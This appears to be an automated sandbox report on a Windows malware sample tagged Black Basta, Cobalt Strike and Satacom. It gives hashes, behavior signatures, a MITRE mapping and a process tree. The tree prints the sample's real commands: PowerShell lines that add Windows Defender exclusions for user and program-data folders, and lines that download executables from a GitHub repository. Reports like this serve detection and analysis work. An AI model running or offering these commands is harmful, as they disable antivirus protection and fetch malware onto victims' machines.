bcd8c65e105f416078f774d2152ed8b800d829544eb8b53bf3c49416efa9e673

General

Target

2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe
Size

360KB
MD5

7a6c8d496941a5ca26085509ef0b4e60
SHA1

ea088506c51c0764cb9488c2d2895f0331997b07
SHA256

bcd8c65e105f416078f774d2152ed8b800d829544eb8b53bf3c49416efa9e673
SHA512

d1451e612606cdcfd1f75252331f3e62cc56252cc2f9f12414bc8036915e3e5bed2e25911a10c11a726c45ff42167ccfa6774f72990ac248f5795a39f367f1f8
SSDEEP

6144:A7mrCBj4lhU3ffdq+Hh30Qd5N94HK2AZUorNKQk:UmeyhUPfdbZ0Qd5f4FA+orY

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2388	powershell.exe
2892	powershell.exe
2876	powershell.exe
2828	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2388	powershell.exe
2876	powershell.exe
2828	powershell.exe
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 2620	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	31
PID 2628 wrote to memory of 2620	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	31
PID 2628 wrote to memory of 2620	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	31
PID 2620 wrote to memory of 2388	2620	cmd.exe	32
PID 2620 wrote to memory of 2388	2620	cmd.exe	32
PID 2620 wrote to memory of 2388	2620	cmd.exe	32
PID 2628 wrote to memory of 2784	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	33
PID 2628 wrote to memory of 2784	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	33
PID 2628 wrote to memory of 2784	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	33
PID 2628 wrote to memory of 2780	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	34
PID 2628 wrote to memory of 2780	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	34
PID 2628 wrote to memory of 2780	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	34
PID 2628 wrote to memory of 2820	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	35
PID 2628 wrote to memory of 2820	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	35
PID 2628 wrote to memory of 2820	2628	2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe	35
PID 2784 wrote to memory of 2828	2784	cmd.exe	36
PID 2784 wrote to memory of 2828	2784	cmd.exe	36
PID 2784 wrote to memory of 2828	2784	cmd.exe	36
PID 2780 wrote to memory of 2876	2780	cmd.exe	37
PID 2780 wrote to memory of 2876	2780	cmd.exe	37
PID 2780 wrote to memory of 2876	2780	cmd.exe	37
PID 2820 wrote to memory of 2892	2820	cmd.exe	38
PID 2820 wrote to memory of 2892	2820	cmd.exe	38
PID 2820 wrote to memory of 2892	2820	cmd.exe	38

C:\Users\Admin\AppData\Local\Temp\2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-31_7a6c8d496941a5ca26085509ef0b4e60_black-basta_cobalt-strike_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\tbhubc', 'C:\Users', 'C:\ProgramData'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\tbhubc', 'C:\Users', 'C:\ProgramData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/kukukukukuk.exe' -OutFile 'C:\Users\Admin\AppData\Local\tbhubc\typzlghpjzs.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/kukukukukuk.exe' -OutFile 'C:\Users\Admin\AppData\Local\tbhubc\typzlghpjzs.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/bebebebebebe.exe' -OutFile 'C:\Users\Admin\AppData\Local\tbhubc\fjsthgevpj.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/bebebebebebe.exe' -OutFile 'C:\Users\Admin\AppData\Local\tbhubc\fjsthgevpj.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/lalalalalalalalal.exe' -OutFile 'C:\Users\Admin\AppData\Local\tbhubc\jyrrq.exe'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/lalalalalalalalal.exe' -OutFile 'C:\Users\Admin\AppData\Local\tbhubc\jyrrq.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6KEYUKWG1FELNDPRHJ1G.temp

Filesize
7KB

MD5
89a21f863462cf56536ccffe6e057b5b

SHA1
cad15e87a9f965dc585be03f9d58d424c4ba5e50

SHA256
7d208e36f8d91ac02071fdfe1133d5460b6dac094b0ca45a4e5c4e33e898cb18

SHA512
c0f24aeee6227e4b61ec4c325ad7ae5eff44d9fcd81d9eff8d1f1fe3eb56bf37e8912d8ec32727303e1414633e3fca714528a1551a942808a1182aa9e55ed1b1

Download Submit
memory/2388-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2388-4-0x000007FEF58EE000-0x000007FEF58EF000-memory.dmp

Filesize
4KB

Download
memory/2388-8-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2388-9-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2388-10-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2388-11-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2388-12-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2388-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2388-7-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-21-0x0000000002850000-0x0000000002858000-memory.dmp

Filesize
32KB

Download
memory/2876-20-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing